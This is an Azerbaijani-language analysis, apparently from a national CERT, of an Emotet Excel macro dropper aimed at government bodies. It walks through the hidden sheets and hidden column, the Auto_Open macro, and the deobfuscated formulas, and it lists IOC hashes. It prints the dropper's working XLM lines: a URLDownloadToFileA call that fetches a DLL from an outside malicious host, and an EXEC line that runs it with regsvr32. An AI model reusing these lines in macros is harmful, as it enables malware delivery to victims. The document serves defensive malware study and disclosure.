Computer Emergency Response Center

Emotet (PO_03162022EX) – Dövlət qurumlarını hədəf alan troyan analizi - 1-ci hissə

Qəbul edilən nümunə faylı .xlsm extension-a malik idi.  Bu formatı normal excel sənədindən ayıran əsas məqam .xlsm formatında olan sənədlərin macros daşıya bilmə xüsusiyətidir. Bu isə artıq öncədən bizə bəzi şeylər haqqında nəsə deyirdi. Sənədi ilk açdığımız zaman qarşılaşdığımız xəbərdarlıq mesajıda sənədin macros daşıdığına işarə edirdi.

Zərərvericini hazırlayan şəxs hər ehtimala qarşı özüdə istifadəçiyə (macrosun icra edilə bilməsi üçün) macrosu aktiv etməsi lazım olduğunu bildirir. Defolt olaraq Microsoft təhlükəsizlik üçün macro kodların icrasına icazə vermir. Bunun üçün istifadəçinin macrosları aktiv etməyi tələb edilir.

Necəki hər hansı bir proqramlaşdırma dilində main funksiyaları mövcuddur eləcədə macroslar sənəd açıldığı zaman avtomatik icra edilə bilmək üçün xüsusi funksiya adına (Auto_Open) ehtiyyac duyurlar. Macro kodların avtomatik icra edilməsi üçün kodlar bu funksiya içərisində yer alır. 

Funksiyanı analiz etmək istədikdə bizi boş hücrələrə yönləndirirdi. Bunun səbəbi kodların gizli vərəqlər içərisində saxlaması idi (https://support.microsoft.com/en-us/office/hide-or-unhide-worksheets-69f2701a-21f5-4186-87d7-341a8cf53344). Bu sheetlər kodun icra edilməsi zamanı problem yaratmasada analiz zamanı kodların gizli saxlanılmasında istifadə edilən metoddur. Gizli vərəqləri açaraq analiz prosesinə davam etdik.

Burada diqqət yetirsəniz 5 ədəd gizli vərəq mövcuddur. Sözü gedən vərəqləri unhide etdikdən sonra Auto_Open funksiyasının tərkibi ilə tanış ola bildik. Funksiya bizi kodların kiçik bir fənd ilə gizlədildiyi LFEVE vərəq içərisinə bir hücrəyə yönləndirirdi.

E-G hərfləri arasında gizli bir xana (F) saxlanmışdı. Xananın ölçüsünü dəyişərək zərərli kodları (F7 hücrəsi) aşkar edə bildik.

Zərərli FORMULA ifadələrini (expression), digər vərəq+ hücrələrdəki dəyərləri hesablayır və son kod blokunu generasiya edirdi. Misal olaraq Eggedv!P22 düstürü ilə Eggedv vərəq içərisində P22 hücrəsindəki dəyəri hesablayır.

Burada rfs.dll , regsvr32.exe stringləri bizə zərərlinin COM dll faylı icra etmək istədiyindən xəbər verirdi. Əlbətdə bütün hücrələrdə olan dəyərləri tək-tək əl ilə birləşdirmək qeyri mümkün olduğu üçün əsas funksiyanı icra etmək qərarına gəldik. Macrosu aktiv etdikdən sonra zərərverici kodları tam şəkildə oxumaq mümkün oldu.

Yükləyici burada əsas zərərli COM dll faylını bir neçə host üzərində saxlayıb.

CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://casache.com/web/n3jxwXXwa/","..\dll",0,0)

Burada CALL funksiyası üzərindən faylı sistemə endirməyə cəhd edir. Bunun üçün URLMON.DLL kitabxanasının URLDownloadToFile funksiyasını çağırır. Digər hücrələrdə olan kodlarda eyni əməliyyatı icra edirdi. Kiçik nüans - əgər özündən əvvəl gələn hücrədə çağrılan funksiya uğursuz olarsa (endiriləcək fayl və ya host mövcud olmasa) başqa host üzərində saxlanılan kitabxana faylını endirməyə çalışır. Faylı uğurla endirdikdən sonra isə EXEC funksiyası ilə regsvr32 alətini, endirilən com dll faylını parametr olaraq göndərərək işə salır.

EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll")

 

IOCs

MD5: A8C9BDBC1B155EB74A10828A46F023F6
SHA-1: 57A0DDE27FF5ADF256CED28B4A0E67C01731397B

 

İstinadlar

[1] https://support.microsoft.com/en-us/topic/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages-a98d960a-7392-e6fe-d90a-3f4e0cb543e5
[2] https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85)
[3] https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/macro-malware?view=o365-worldwide

Press ESC to close